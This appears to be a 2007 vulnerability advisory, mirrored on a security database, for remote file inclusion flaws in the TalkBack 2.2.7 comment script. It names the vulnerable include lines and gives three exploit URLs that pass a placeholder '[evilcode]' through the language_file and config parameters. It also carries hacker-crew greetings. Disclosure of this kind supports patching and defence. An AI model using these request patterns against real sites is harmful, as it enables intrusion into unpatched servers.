TalkBack 2.2.7 Multiple Remote File Inclusion Vulnerabilities

🗓️ 21 Nov 2007 00:00:00Reported by RootType

TalkBack 2.2.7 Remote File Inclusion Vulnerabilities discovered by NoG


                                                ==================================================================================================================================

#&nbsp;TalkBack&nbsp;2.2.7&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerability

&nbsp;&nbsp;&nbsp;&nbsp;Software&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;TalkBack&nbsp;version&nbsp;2.2.7
&nbsp;&nbsp;&nbsp;&nbsp;Developer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.scripts.oldguy.us/talkback
&nbsp;&nbsp;&nbsp;&nbsp;Discovered&nbsp;by&nbsp;:&nbsp;NoGe
&nbsp;&nbsp;&nbsp;&nbsp;Contact&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;pace[dot]noge[at]hotmail[dot]com
&nbsp;&nbsp;
==================================================================================================================================


#&nbsp;Vulnerable&nbsp;file
&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;comments-display-tpl.php

&nbsp;&nbsp;&nbsp;&nbsp;line&nbsp;35&nbsp;include&nbsp;$language_file;
&nbsp;&nbsp;&nbsp;&nbsp;line&nbsp;172&nbsp;include&nbsp;$config['comments_form_tpl'];

&nbsp;&nbsp;&nbsp;&nbsp;addons/separate-comments-mod/my-comments-display-tpl.php

&nbsp;&nbsp;&nbsp;&nbsp;line&nbsp;35&nbsp;include&nbsp;$language_file;



#&nbsp;Exploit

&nbsp;&nbsp;&nbsp;&nbsp;http://localhost/path/comments-display-tpl.php?language_file=[evilcode]
&nbsp;&nbsp;&nbsp;&nbsp;http://localhost/path/comments-display-tpl.php?config[comments_form_tpl]=[evilcode]
&nbsp;&nbsp;&nbsp;&nbsp;http://localhost/path/addons/separate-comments-mod/my-comments-display-tpl.php?language_file=[evilcode]


==================================================================================================================================

#&nbsp;Greetz

&nbsp;&nbsp;&nbsp;&nbsp;all&nbsp;crew&nbsp;#papuahacker&nbsp;#baliemhackerlink&nbsp;#nyubicrew
&nbsp;&nbsp;&nbsp;&nbsp;skulmatic&nbsp;olibekas&nbsp;ulga&nbsp;Cungkee&nbsp;nyubi&nbsp;k1tk4t&nbsp;bius&nbsp;SiKodoQ&nbsp;newbie
&nbsp;&nbsp;&nbsp;&nbsp;yooogy&nbsp;H312Y&nbsp;Vrs-hCk&nbsp;Oon_Boy&nbsp;Paman&nbsp;mousekill&nbsp;}^-^{&nbsp;Fluzy&nbsp;str0ke
&nbsp;&nbsp;&nbsp;&nbsp;http://kapukvalley.net&nbsp;member

==================================================================================================================================

21 Nov 2007 00:00Current

7.1High risk

Vulners AI Score7.1